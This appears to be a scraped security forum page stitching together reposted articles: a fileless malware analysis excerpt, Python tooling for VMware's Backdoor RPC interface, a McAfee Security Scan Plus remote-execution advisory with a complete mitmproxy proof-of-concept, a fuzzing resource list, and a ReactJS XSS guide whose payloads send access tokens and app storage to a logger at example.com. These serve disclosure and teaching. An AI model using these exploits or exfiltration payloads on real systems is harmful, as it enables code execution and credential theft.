Volume Serial Number Operating System Version Local IP Address Administrator privileges The malware will add registry entries into the system to ensure that it always executes during startup. The autostart registry entry is capable of decoding the Base64-encoded PowerShell command, which will be used to decrypt the encrypted binary data (also found on the registry, added by the malware) that will result in the malicious codes of BKDR_ANDROM. After the decryption process, it will then execute the decrypted malicious codes. While the final payload in this case consists of common routines of BKDR_ANDROM, there is also a chance that future malware authors might make use of other malware as payload. Conclusion While JS_POWMET and the rest of the files it downloads are relatively light in terms of impact, this malware demonstrates the lengths cybercriminals will go to avoid detection and analysis. It also shows that even relatively uncommon infection methods involving fileless malware continually evolve. Organizations and users should always look beyond the obvious malware files and always be on the lookout for “stealthy” malware that manages to slip into the system virtually unnoticed. One of the more effective methods for mitigating the effects of fileless malware would be to limit access to critical infrastructure via container-based systems that separate endpoints from the most important parts of the network. For this specific malware, IT professionals can also look into disabling Powershell itself to help mitigate the effects of JS_POWMET and its various payloads. Trend Micro Solutions Fileless malware is designed to make detection by security solutions more difficult, as such organizations need to implement multilayered solutions that can help in detection. Trend Micro endpoint solutions such as Trend Micro™ Security, OfficeScan, and Worry-Free Business Security include behavior monitoring to detect this type of malware; this can help organizations look out for malicious behavior that can block the malware before the behavior is executed or performed. With additional analysis from Byron Gelera The following hashtags were used for this article: 7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc (TROJ_PSINJECT.A) e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae (JS_POWMET.DE) bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940 (BKDR_ANDROM.ETIN) Sursa: http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

PYTHONIZING THE VMWARE BACKDOOR August 03, 2017 | Abdul-Aziz Hariri In my previous VMware blog, I detailed how to exploit a Use-After-Free vulnerability that affected drag-and-drop functionality and triggered through the Backdoor RPC interface. After reading it, one of my ZDI colleagues, Vincent Lee, asked me to add more information about the Backdoor interface. Since tooling was also a topic on my mind, I decided to combine both in a blog post. This blog post covers some of the Backdoor functionalities, specifically the RPC interface, and goes over a couple of ways to write tools in Python to speed up the analysis, fuzzing, and exploit development of VMware’s Backdoor RPCI. Overview of the Backdoor interface VMware uses the Backdoor channel for guest-to-host communications. The Backdoor supports multiple commands. These commands can be found in lib/include/backdoor_def.h: The Backdoor uses the in/out instructions to trigger the Backdoor functions. To create a Backdoor request, we need the following ingredients: BDOOR_MAGIC (0x564D5868) value set to EAX BDOOR_PORT 0x5658/0x5659 (low/high bandwidth) set in DX Backdoor command number set in the lower half of ECX Any command specific parameters should go in EBX Execute the “in” instruction For example, if we want to execute the BDOOR_CMD_GETMHZ command which is defined in backdoor_def.h: In assembly, it looks like the following:   mov eax, 564D5868h   mov ecx, 1 //BDOOR_CMD_GETMHZ   mov edx, 5658h   in eax, dx In the case of RPCI requests, which is what we’re really interested in for now, the lower half of ECX should be set to BDOOR_CMD_MESSAGE (or 0x1E) while the high half should be set to the message type. Here are the steps: BDOOR_MAGIC (0x564D5868) value set to EAX BDOOR_PORT 0x5658/0x5659 (low/high bandwidth) set in DX Lower half of ECX set to BDOOR_CMD_MESSAGE (0x1E) The high half of ECX set to a MESSAGE_TYPE_* , where the type is defined in guest_msg_def.h as an enum:   5. EBX set to the RPCI protocol number, which is defined in rpcout.h: And then bitwise OR’d with the flags, which are defined in guest_msg_def.h:   6. Finally, execute the “in” instruction For example, if we’d like to create an RPCI request of type MESSAGE_TYPE_OPEN, it should look like the following:   mov eax, 0x564D5868   mov ecx, 0x001e //MESSAGE_TYPE_OPEN   mov edx, 0x5658   mov ebx, 0xC9435052   in eax, dx In the case of MESSAGE_TYPE_SENDSIZE which is done after a MESSAGE_TYPE_OPEN, EBX should be set to the size of the payload:   mov eax, 0x564D5868   mov ecx, 0x1001e //MESSAGE_TYPE_SENDSIZE   mov edx, 0x5658   mov ebx, SIZE   in eax, dx For a MESSAGE_TYPE_CLOSE:   mov eax, 0x564D5868   mov ecx, 0x6001e //MESSAGE_TYPE_CLOSE   mov edx, 0x5658   mov ebx, SIZE   in eax, dx Putting all of this in a function to send an RPCI request would look something like this:   mov eax, 564D5868h   mov ecx, 1Eh   mov edx, 5658h   mov ebx, 0C9435052h   in eax, dx   mov eax, 564D5868h   mov ecx, 1001Eh   mov dx, 5658h   mov ebx, [esp + 28h]   in eax, dx   mov eax, 564D5868h   mov ecx, [esp + 28h]   mov ebx, 10000h   mov ebp, esi   mov dx, 5659h   mov esi, [esp + 24h]   cld   rep outs dx, byte ptr es : [edi]   mov eax, 564D5868h   mov ecx, 0006001eh   mov dx, 5658h   mov esi, ebp   in eax, dx Pythonizing the RPCI Calls Writing tools to send RPCI requests in C/C++ is easy using the libraries in the open-source VMtools. For our own use within ZDI, I wanted to create something that helps us write faster Proof-of-Concepts (PoCs), assess new incoming cases faster and finally to make RPCI fuzzing easier. Hence, I started working on porting the functionality of sending RPCI requests from Python. Through our brief research, we figured out two ways to do this: Writing a C-Extension for Python (CPython) ctypes foreign function library for Python Initially, when I started working on this I did not even think of ctypes. It was at Recon Montreal when I was hanging out with my colleague Jasiel Spelman. We were discussing random topics, one of which was Pythonizing VMWare RPCI. That’s when he said, “Oh - it can be done in ctypes.” He also kindly agreed to write this next section and explain how it can be done via ctypes. The ctypes way [This section brought to you by Jasiel Spelman] I have a habit of using “inline” assembly in Python. In 2014, I blogged about how I inject Python into threads for the purposes of process introspection, and as part of that, we released python_injector.py. One of the benefits of a tool like this is that you can execute Python on a remote system as though you were doing so locally. This comes into play because it is then a little bit easier to implement something in pure Python rather than have to ship around compiled binaries. An added bonus is that, for the most part, you can handle cross platform support within the Python module itself rather than having varying compiled binaries for every combination of platform and Python version. For brevity, I’m only going to cover performing this from Windows. However, doing so from Linux or macOS is just a matter of calling mprotect with the appropriate flags instead of VirtualProtect. I’m also excluding the assembly itself since Abdul covered that above. Here is a snippet of everything involved:   import ctypes   from ctypes.wintypes import DWORD   from ctypes.wintypes import LPCSTR   from ctypes import CFUNCTYPE   from ctypes import addressof   ASSEMBLY = ‘’   PAGE_EXECUTE_READWRITE = 0x40   RPC_SEND_BUFFER = ctypes.create_string_buffer(ASSEMBLY)   _prototype = CFUNCTYPE(DWORD, LPCSTR, DWORD, use_last_error=True)   ctypes.windll.kernel32.VirtualProtect(addressof(RPC_SEND_BUFFER), len(RPC_SEND_BUFFER), PAGE_EXECUTE_READWRITE, 0)   _rpc_send =   _prototype(addressof(RPC_SEND_BUFFER))   def rpc_send(buf):      return _rpc_send(buf, len(buf)) The first few lines import the ctypes module and bring a few items into our namespace to make the lines a little more readable. We then define the ASSEMBLY variable, though to see the type of assembly you would actually want you’ll need to reference the earlier sections. The next section creates a ctypes string buffer, marks the buffer as executable, and defines the function prototype for the assembly we want to execute. Lastly, we define a Python function that we can call to then call into the assembly itself. I would be remiss to not show a way of also handling the assembly, and for that we’ll use the excellent Keystone assembler against one of the examples Abdul showed earlier. We’ll specifically replicate using BDOOR_CMD_GETMHZ. Here’s a snippet of what would be involved:   from keystone import Ks   from keystone import KS_ARCH_X86   from keystone import KS_MODE_32   ks = Ks(KS_ARCH_X86, KS_MODE_32)   encoding, count = ks.asm(     b'mov eax, 564D5868h;'     b'mov ecx, 1;' #BDOOR_CMD_GETMHZ     b'mov edx, 5658h;'     b'in eax, dx'   )   ASSEMBLY = ''.join(map(chr, encoding)) First, we import the relevant pieces of the Keystone library. Then, we create a Keystone assembler object. At this point, we pass it our string of assembly, where registers names may change if we’re performing this on 32-bit vs 64-bit, and values may change depending on what we are trying to invoke. Once Keystone has returned the bytes, we need to convert them from integers into a string we can use later on. Note that you don’t need to perform this portion. You could assemble the relevant instructions for your target platforms once, however, if you’re going after multiple commands, this may be beneficial. The C-Extension way If ctypes aren’t your thing, CPython also works, and I’ll demonstrate the steps I was taking prior to my talk with Jasiel. CPython supports calling C functions and declaring C types on variables and class attributes. In this case, this allows us to write the function in ASM within a Python C-Extension and compile it to a Python module. While this requires compilation each time we need to modify the underlying code, but in the end, we’d still enjoy writing scripts in Python. The C-Extension can be implemented in multiple ways. In a nutshell, here’s how it can be done (Windows/compiled with VS): Create a function using in-line assembly to send an RPC request:     __declspec(naked) void rpc_send(uint8_t *msg, uint32_t size){     __asm     {     pushad      ….      ….     popad        ret       }     }    2. Add a C function that will be called when the Python function is called:     static PyObject py_rpc_send (PyObject self, PyObject* args)     {     …        if (!PyArg_ParseTuple(args, "z#",&msg,&sz)){     …     }     rpc_send(msg,sz);     …} After compiling the code, we will end up with a Python extension .pyd that we can import from python. Formal documentation for extending Python with C or C++ may be found here. Conclusion: It’s quite handy to have a tool that allows us to rapidly write fuzzers and exploits --especially if it’s in python where it can be easily integrated into frameworks, or even to quickly write standalone scripts. The next blog in this series will cover VMware reversing in order to be able to sniff RPC requests, and you should see it in a few weeks. As always, you can find us on twitter at @abdhariri, @WanderingGlitch, and @thezdi. Also, you might be able to find us at Peppermill. ☺ Sursa: https://www.zerodayinitiative.com/blog/2017/8/1/pythonizing-the-vmware-backdoor

Inainte de ISR era MortalTeam, de unde am inceput si eu. Puscas_Marin, Ras, EMINEM faceau parte din staff.

Da, vad ca se pastreaza la curent cu cam tot ce apare nou.

Suspect.

Erau alte vremuri, alte "trend-uri".

PS: Si la evomag au aceleasi preturi la S8 si S8+. Nu m-am uitat de altele.

Hacking Livestream #28: Windows Kernel Debugging Part I Artem "honorary_bot" Shishkin is a fan of Windows RE, debugging and low-level stuff. He's been using WinDbg for kernel debugging for several years now for fun, customizing BSODs, building Windows kernel source tree or boot dependencies graph. Sometimes he might also accidentally discover such things as SMEP bypass on Windows 8 or how to disable PatchGuard in runtime. Being a great fan of Intel and specifically VMX technology he maintains his own bicycle debugger based on a bare metal hypervisor. Twitter handle: https://twitter.com/honorary_bot Github: https://github.com/honorarybot/ Links from the stream: Books: https://www.amazon.com/Windows-Intern... https://www.amazon.com/Windows-Intern... https://www.amazon.com/Programming-Mi... https://www.amazon.com/Developing-Win... VirtualKD http://virtualkd.sysprogs.org/ USB 3.0 debugging cable (example): https://www.datapro.net/products/usb-... Network card IDs for network debugging: https://docs.microsoft.com/en-us/wind...

SSD Advisory – McAfee Security Scan Plus Remote Command Execution Want to get paid for a vulnerability similar to this one? Contact us at: ssd@beyondsecurity.com Vulnerability Summary The following advisory describes a Remote Code Execution found in McAfee Security Scan Plus. An active network attacker could launch a man-in-the-middle attack on a plaintext-HTTP response to a client to run any residing executables with privileges of a logged in user. McAfee Security Scan Plus is a free diagnostic tool that ensures you are protected from threats by actively checking your computer for up-to-date anti-virus, firewall, and web security software. It also scans for threats in any open programs. Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program Vendor response The vendor has released patches to address this vulnerability. For more information: https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714 CVE: CVE-2017-3897 Vulnerability details McAfee Security Scan Plus retrieves promotional and UI design information from different mcafee.com domains and displays them to the user, typically in the main application window. The vulnerability is caused by multiple factors: Information is retrieved over plaintext HTTP that can be trivially modified by an active network attacker. McAfee Security Scan Plus rely on the MCBRWSR2.DLL library to display HTML content. The Library exposes the LaunchApplication() JavaScript API that executes arbitrary commands on the affected system. The McAfee Security Scan Plus downloads, after each scan, a UI element indicating the “protection level” of the target from the following URL: http://home.mcafee.com/SecurityScanner/SSBanner.aspx The following screenshot shows the placeholder of the web content while it is loaded (marked with red): Although the original response redirects to a secure HTTPS URL (and server certificates are verified by the client), from a man-in-the-middle position it’s possible to replace the redirection message with a HTTP response indicating success, and containing the call to the LaunchApplication() JavaScript API: <script> window.external.LaunchApplication("c:\\windows\\system32\\calc.exe", ""); </script> 1 2 3 <script> window.external.LaunchApplication("c:\\windows\\system32\\calc.exe", ""); </script> The above JavaScript executes the Windows Calculator (without arguments) with the privileges of the logged in user (on the user’s Desktop). The request is made every time the user initiates a scan or when a scan is initiated automatically – by default the product is configured for weekly scans, the exact time depends on the time of the installation. Proof of Concept 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #!/usr/bin/env python3 # # HTTP proxy mode: # mitmproxy -s mcsploit_inline.py --ignore '.*' # # Transparent proxy mode: # mitmproxy -s mcsploit_inline.py -T # from mitmproxy import ctx, http import requests import time COMMAND="c:\\\\windows\\\\system32\\\\calc.exe" CMDARGS="" def response(flow): if flow.request.scheme == "http" and (flow.request.headers['host'].endswith("mcafee.com") or "mcafee" in flow.request.url): if flow.response.status_code == 302: ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (HTML)") https_url=flow.request.url.replace("http://","https://") r=requests.get(https_url,headers=flow.request.headers,verify=False) if "text/html" not in r.headers['content-type']: return contents=r.text contents=contents.replace("</head>","<script>try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}</script></head>" % (COMMAND, CMDARGS)) flow.response = http.HTTPResponse.make(200,bytes(contents,encoding="utf-8"),{"Content-Type": "text/html; charset=utf-8","Expires":"-1"}) return try: if flow.response.headers["content-type"] == "text/javascript": ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (JS)") inject="try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}\n" % (COMMAND, CMDARGS) try: flow.response.contents = inject + flow.response.contents except AttributeError: ctx.log("[-] [MCSPLOIT] No content in the original response!") pass except KeyError: pass Sursa: https://blogs.securiteam.com/index.php/archives/3350

Welcome to Awesome Fuzzing A curated list of fuzzing resources ( Books, courses - free and paid, videos, tools, tutorials and vulnerable applications to practice on ) for learning Fuzzing and initial phases of Exploit Development like root cause analysis. Table of Contents Books Courses Free Paid Videos NYU Poly Course videos Conference talks and tutorials Tutorials and Blogs Tools File Format Fuzzers Network Protocol Fuzzers Taint Analysis Symbolic Execution SAT and SMT Solvers Essential Tools Vulnerable Applications Anti-Fuzzing Contributing Awesome Fuzzing Resources Books Books on fuzzing Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton, Adam Greene, Pedram Amini. Fuzzing for Software Security Testing and Quality Assurance by Ari Takanen, Charles Miller, and Jared D Demott. Open Source Fuzzing Tools by by Gadi Evron and Noam Rathaus. Gray Hat Python by Justin Seitz. Note: Chapter(s) in the following books are dedicated to fuzzing. The Shellcoder's Handbook: Discovering and Exploiting Security Holes ( Chapter 15 ) by Chris Anley, Dave Aitel, David Litchfield and others. iOS Hacker's Handbook - Chapter 1 Charles Miller, Dino DaiZovi, Dion Blazakis, Ralf-Philip Weinmann, and Stefan Esser. IDA Pro - The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler Courses Courses/Training videos on fuzzing Free NYU Poly ( see videos for more ) - Made available freely by Dan Guido. Samclass.info ( check projects section and chapter 17 ) - by Sam. Modern Binary Exploitation ( RPISEC ) - Chapter 15 - by RPISEC. Offensive Computer Security - Week 6 - by W. Owen Redwood and Prof. Xiuwen Liu. Paid Offensive Security, Cracking The Perimeter ( CTP ) and Advanced Windows Exploitation ( AWE ) SANS 660/760 Advanced Exploit Development for Penetration Testers Exodus Intelligence - Vulnerability development master class Videos Videos talking about fuzzing techniques, tools and best practices NYU Poly Course videos Fuzzing 101 (Part 1) - by Mike Zusman. Fuzzing 101 (Part 2) - by Mike Zusman. Fuzzing 101 (2009) - by Mike Zusman. Fuzzing - Software Security Course on Coursera - by University of Maryland. Conference talks and tutorials Youtube Playlist of various fuzzing talks and presentations - Lots of good content in these videos. Browser bug hunting - Memoirs of a last man standing - by Atte Kettunen Coverage-based Greybox Fuzzing as Markov Chain Tutorials and Blogs Tutorials and blogs which explain methodology, techniques and best practices of fuzzing [2016 articles] Effective File Format Fuzzing - Mateusz “j00ru” Jurczyk @ Black Hat Europe 2016, London A year of Windows kernel font fuzzing Part-1 the results - Amazing article by Google's Project Zero, describing what it takes to do fuzzing and create fuzzers. A year of Windows kernel font fuzzing Part-2 the techniques - Amazing article by Google's Project Zero, describing what it takes to do fuzzing and create fuzzers. Interesting bugs and resources at fuzzing project - by fuzzing-project.org. Fuzzing workflows; a fuzz job from start to finish - by @BrandonPrry. A gentle introduction to fuzzing C++ code with AFL and libFuzzer - by Jeff Trull. A 15 minute introduction to fuzzing - by folks at MWR Security. Note: Folks at fuzzing.info has done a great job of collecting some awesome links, I'm not going to duplicate their work. I will add papers missed by them and from 2015 and 2016. Fuzzing Papers - by fuzzing.info Fuzzing Blogs - by fuzzing.info Root Cause Analysis of the Crash during Fuzzing - by Corelan Team. Root cause analysis of integer flow - by Corelan Team. Creating custom peach fuzzer publishers - by Open Security Research 7 Things to Consider Before Fuzzing a Large Open Source Project - by Emily Ratliff. From Fuzzing to Exploit: From fuzzing to 0-day - by Harold Rodriguez(@superkojiman). From crash to exploit - by Corelan Team. Peach Fuzzer related tutorials Getting Started with Peach Fuzzing with Peach Part 1 - by Jason Kratzer of corelan team Fuzzing with Peach Part 2 - by Jason Kratzer of corelan team. Auto generation of Peach pit files/fuzzers - by Frédéric Guihéry, Georges Bossert. AFL Fuzzer related tutorials Fuzzing workflows; a fuzz job from start to finish - by @BrandonPrry. Fuzzing capstone using AFL persistent mode - by @toasted_flakes RAM disks and saving your SSD from AFL Fuzzing Bug Hunting with American Fuzzy Lop Advanced usage of American Fuzzy Lop with real world examples Segfaulting Python with afl-fuzz Fuzzing Perl: A Tale of Two American Fuzzy Lops Fuzzing With AFL-Fuzz, a Practical Example ( AFL vs Binutils ) The Importance of Fuzzing...Emulators? How Heartbleed could've been found Filesystem Fuzzing with American Fuzzy lop Fuzzing Perl/XS modules with AFL How to fuzz a server with American Fuzzy Lop - by Jonathan Foote libFuzzer Fuzzer related tutorials libFuzzer Tutorial libFuzzer Workshop: "Modern fuzzing of C/C++ Projects" Spike Fuzzer related tutorials Fuzzing with Spike to find overflows Fuzzing with Spike - by samclass.info FOE Fuzzer related tutorials Fuzzing with FOE - by Samclass.info SMT/SAT solver tutorials Z3 - A guide - Getting Started with Z3: A Guide Tools Tools which helps in fuzzing applications File Format Fuzzers Fuzzers which helps in fuzzing file formats like pdf, mp3, swf etc., MiniFuzz - Basic file format fuzzing tool by Microsoft. BFF from CERT - Basic Fuzzing Framework for file formats. AFL Fuzzer (Linux only) - American Fuzzy Lop Fuzzer by Michal Zalewski aka lcamtuf Win AFL - A fork of AFL for fuzzing Windows binaries by Ivan Fratic Shellphish Fuzzer - A Python interface to AFL, allowing for easy injection of testcases and other functionality. TriforceAFL - A modified version of AFL that supports fuzzing for applications whose source code not available. Peach Fuzzer - Framework which helps to create custom dumb and smart fuzzers. MozPeach - A fork of peach 2.7 by Mozilla Security. Failure Observation Engine (FOE) - mutational file-based fuzz testing tool for windows applications. rmadair - mutation based file fuzzer that uses PyDBG to monitor for signals of interest. honggfuzz - A general-purpose, easy-to-use fuzzer with interesting analysis options. Supports feedback-driven fuzzing based on code coverage. Supports GNU/Linux, FreeBSD, Mac OSX and Android. zzuf - A transparent application input fuzzer. It works by intercepting file operations and changing random bits in the program's input. radamsa - A general purpose fuzzer and test case generator. binspector - A binary format analysis and fuzzing tool Network Protocol Fuzzers Fuzzers which helps in fuzzing applications which use network based protocals like HTTP, SSH, SMTP etc., Peach Fuzzer - Framework which helps to create custom dumb and smart fuzzers. Sulley - A fuzzer development and fuzz testing framework consisting of multiple extensible components by Michael Sutton. boofuzz - A fork and successor of Sulley framework. Spike - A fuzzer development framework like sulley, a predecessor of sulley. Metasploit Framework - A framework which contains some fuzzing capabilities via Auxiliary modules. Nightmare - A distributed fuzzing testing suite with web administration, supports fuzzing using network protocols. rage_fuzzer - A dumb protocol-unaware packet fuzzer/replayer. Misc Other notable fuzzers like Kernel Fuzzers, general purpose fuzzer etc., KernelFuzzer - Cross Platform Kernel Fuzzer Framework. honggfuzz - A general-purpose, easy-to-use fuzzer with interesting analysis options. Hodor Fuzzer - Yet Another general purpose fuzzer. libFuzzer - In-process, coverage-guided, evolutionary fuzzing engine for targets written in C/C++. syzkaller - Distributed, unsupervised, coverage-guided Linux syscall fuzzer. ansvif - An advanced cross platform fuzzing framework designed to find vulnerabilities in C/C++ code. Taint Analysis How user input affects the execution PANDA ( Platform for Architecture-Neutral Dynamic Analysis ) QIRA (QEMU Interactive Runtime Analyser) Symbolic Execution SAT and SMT Solvers Z3 - A theorem prover from Microsoft Research. SMT-LIB - An international initiative aimed at facilitating research and development in Satisfiability Modulo Theories (SMT) References I haven't included some of the legends like AxMan, please refer the following link for more information.https://www.ee.oulu.fi/research/ouspg/Fuzzers Essential Tools Tools of the trade for exploit developers, reverse engineers Debuggers Windbg - The preferred debugger by exploit writers. Immunity Debugger - Immunity Debugger by Immunity Sec. OllyDbg - The debugger of choice by reverse engineers and exploit writers alike. Mona.py ( Plugin for windbg and Immunity dbg ) - Awesome tools that makes life easy for exploit developers. x64dbg - An open-source x64/x32 debugger for windows. Evan's Debugger (EDB) - Front end for gdb. GDB - Gnu Debugger - The favorite linux debugger. PEDA - Python Exploit Development Assistance for GDB. Radare2 - Framework for reverse-engineering and analyzing binaries. Disassemblers and some more Dissemblers, disassembly frameworks etc., IDA Pro - The best disassembler binnavi - Binary analysis IDE, annotates control flow graphs and call graphs of disassembled code. Capstone - Capstone is a lightweight multi-platform, multi-architecture disassembly framework. Others ltrace - Intercepts library calls strace - Intercepts system calls Vulnerable Applications Exploit-DB - https://www.exploit-db.com (search and pick the exploits, which have respective apps available for download, reproduce the exploit by using fuzzer of your choice) PacketStorm - https://packetstormsecurity.com/files/tags/exploit/ Fuzzgoat - Vulnerable C program for testing fuzzers. Samples files for seeding during fuzzing: https://files.fuzzing-project.org/ PDF Test Corpus from Mozilla MS Office file format documentation Fuzzer Test Suite - Set of tests for fuzzing engines. Includes different well-known bugs such as Heartbleed, c-ares $100K bug and others. Anti Fuzzing Introduction to Anti-Fuzzing: A Defence In-Depth Aid Contributing Please refer the guidelines at contributing.md for details. Thanks to the following folks who made contributions to this project. Tim Strazzere jksecurity Sursa: https://github.com/secfigo/Awesome-Fuzzing/blob/master/README.md

Bernhard Mueller Uncertified Software Security Professional. Pwnie Winner ヽ(゜∇゜)ノ Aug 2 Exploiting Script Injection Flaws in ReactJS Apps ReactJS is a popular JavaScript library for building user interfaces. It enables client-rendered, “rich” web apps that load entirely upfront, allowing for a smoother user experience. Given that React apps implement a whole lot of client-side logic in JavaScript, it doesn’t seem far-fetched to assume that XSS-type attacks could be worthwhile. As it turns out, ReactJS is quite safe by design as long as it is used the way it’s meant to be used. For example, string variables in views are escaped automatically. However, as with all good things in life, it’s not impossible to mess things up. Script injection issues can result from bad programming practices including the following: Creating React components from user-supplied objects; Rendering links with user-supplied href attributes, or other HTML tags with injectable attributes (link tag, HMTL5 imports); Explicitly setting the dangerouslySetInnerHTML prop of an element; Passing user-supplied strings to eval(). In a world ruled by Murphy’s law, all of this is guaranteed to happen, so let’s have a closer look. Components, Props and Elements Components are the basic building block of ReactJS. Conceptually, they are like JavaScript functions. They accept arbitrary inputs (“props”) and return React elements describing what should appear on the screen. A basic component looks as follows: class Welcome extends React.Component { render() { return <h1>Hello, {this.props.name}</h1>; } } Note the weird syntax in the return statement: This is JSX, a syntax extension to JavaScript. During the build process, the JSX code is transpiledto regular JavaScript (ES5) code. The following two examples are identical: // JSX const element = ( <h1 className=”greeting”> Hello, world! </h1> ); // Transpiled to createElement() call const element = React.createElement( ‘h1’, {className: ‘greeting’}, ‘Hello, world!’ ); New React elements are created from component classes using the createElement() function: React.createElement( type, [props], [...children] ) This function takes three arguments: type can be either a tag name string (such as 'div' or 'span'), or a component class. In React Native, only component classes are allowed. props contains a list of attributes passed to the new element. children contains the child node(s) of the new element (which, in turn, are more React components). Several attack vectors exist if you can control any of those arguments. Injecting Child Nodes In March 2015, Daniel LeCheminant reported a stored cross-site scripting vulnerability in HackerOne. The issue was caused by the HackerOne web app passing an arbitrary, user-supplied object as the children argument to React.createElement(). Presumably, the vulnerable code must have looked somewhat like the following: /* Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason. attacker_supplied_value = JSON.parse(some_user_input) */ render() { return <span>{attacker_supplied_value}</span>; } This JSX would translate to the following JavaScript: React.createElement("span", null, attacker_supplied_value}; When attacker_supplied_value was a string as expected, this would produce a regular span element. However, the createElement() function in the then-current version of ReactJS would also accept plain objects passed as children. Daniel exploited the issue by supplying a JSON-encoded object. He included the dangerouslySetInnerHTML prop, allowing him to insert raw HTML into the output rendered by React. His final proof-of-concept looked as follows: { _isReactElement: true, _store: {}, type: “body”, props: { dangerouslySetInnerHTML: { __html: "<h1>Arbitrary HTML</h1> <script>alert(‘No CSP Support :(‘)</script> <a href=’http://danlec.com'>link</a>" } } } Following Daniel’s blog post, potential mitigations were discussed on the React.js GitHub. In November 2015, Sebastian Markbåge commited a fix: React elements were now tagged with the attribute$$typeof: Symbol.for('react.element'). Because there is no way to reference a global JavaScript symbol from an injected object, Daniel’s technique of injecting child elements can’t be used anymore. Controlling Element Type Even though plain objects are no longer work as ReactJS elements, component injection still isn’t completely impossible, because createElementalso accepts strings in the type argument. Suppose a developer did something like this: // Dynamically create an element from a string stored in the backend. element_name = stored_value; React.createElement(element_name, null); If stored_valuewas an attacker-controlled string, it would be possible to create an arbitrary React component. However, this would result only in a plain, attribute-less HTML element (i.e. pretty useless to the attacker). To do something useful, one must be able to control the properties of the newly created element. Injecting Props Consider the following code: // Parse attacker-supplied JSON for some reason and pass // the resulting object as props. // Don't do this at home unless you are a trained expert! attacker_props = JSON.parse(stored_value) React.createElement("span", attacker_props}; Here, we can inject arbitrary props into the new element. We could use the following payload to set the dangerouslySetInnerHTML property: {"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}} Classical XSS Some traditional XSS vectors are also viable in ReactJS apps. Look out for the following anti-patterns: Explicitly Setting dangerouslySetInnerHTML Developers may choose to set the dangerouslySetInnerHTML prop on purpose. <div dangerouslySetInnerHTML={user_supplied} /> Obviously, if you control the value of that prop, you can insert any JavaScript your heart desires. Injectable Attributes If you control the href attribute of a dynamically generated a tag, there’s nothing to prevent you from injection a javascript: URL. Some other attributes such as formaction in HTML5 buttons also work in modern browser. <a href={userinput}>Link</a> <button form="name" formaction={userinput}> Another exotic injection vector that would work in modern browsers are HTML5 imports: <link rel=”import” href={user_supplied}> Server-Side Rendered HTML To improve initial page load times, there has lately been a trend towards pre-rendering React.JS pages on the server (“server-side rendering”). In November 2016, Emilia Smith pointed out that the official Redux code sample for SSR resulted in a cross-site scripting vulnerability, because the client state was concatenated into the pre-rendered page without escaping (the sample code has since been fixed). The take-away: If HTML is pre-rendered on the server-side, you might see the same types of XSS issues found in “regular” web apps. Eval-based injection If the app uses eval() to dynamically execute an injectable string under your control, you have hit the jackpot. In that case, you may proceed to inject arbitrary code of your choosing. function antiPattern() { eval(this.state.attacker_supplied); } XSS Payload In the modern world, session cookies are as outdated as manual typewriters and McGyver-style mullets. The agile developer of today uses stateless session tokens, elegantly saved in client-side local storage. Consequently, hackers must adapt their payloads accordingly. When exploiting an XSS attack a ReactJS web app, you could inject something along the following lines to retrieve an access token from local storage and sent it to your logger: fetch(‘http://example.com/logger.php?token='+localStorage.access_token); How About React Native? React Native is a mobile app framework that allows you to build nativemobile applications using ReactJS. More specifically, it provides you with a runtime that can run React JavaScript bundles on mobile devices. In true Inception style, you can “port” a React Native App to work in regular web browsers using React Native for Web (web app in a mobile app in a web app). This means that you build apps from Android, iOS and Desktop browser from a single code base. From what I’ve seen so far, most of the script injection vectors mentioned above don’t work in React Native: React Native’s createInternalComponent method only accepts tagged component classes, so even if you fully control the arguments to createElement() you can’t create arbitrary elements; HTML elements don’t exist, and HTML isn’t parsed, so typical browser-based XSS vectors (e.g. href) can’t be used. Only the eval() based variant seems to be exploitable on mobile devices. If you do get JavaScript code injected through eval(), you can access React Native APIs and do interesting things. For example, you could steal all the data from local storage (AsyncStorage) by doing something like: _reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch(‘http://example.com/logger.php?token='+JSON.stringify(result));});}); TL;DR Even though ReactJS is quite safe by design, it’s not impossible to mess things up. Bad programming practices can lead to exploitable security vulnerabilities. Security Testers: Inject JavaScript and JSON wherever you can and see what happens. Developers: Don’t ever useeval() or dangerouslySetInnerHTML. Avoid parsing user-supplied JSON. React Security Application Security Hacking Penetration Testing Bernhard Mueller Uncertified Software Security Professional. Pwnie Winner ヽ(゜∇゜)ノ Sursa: https://medium.com/@muellerberndt/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1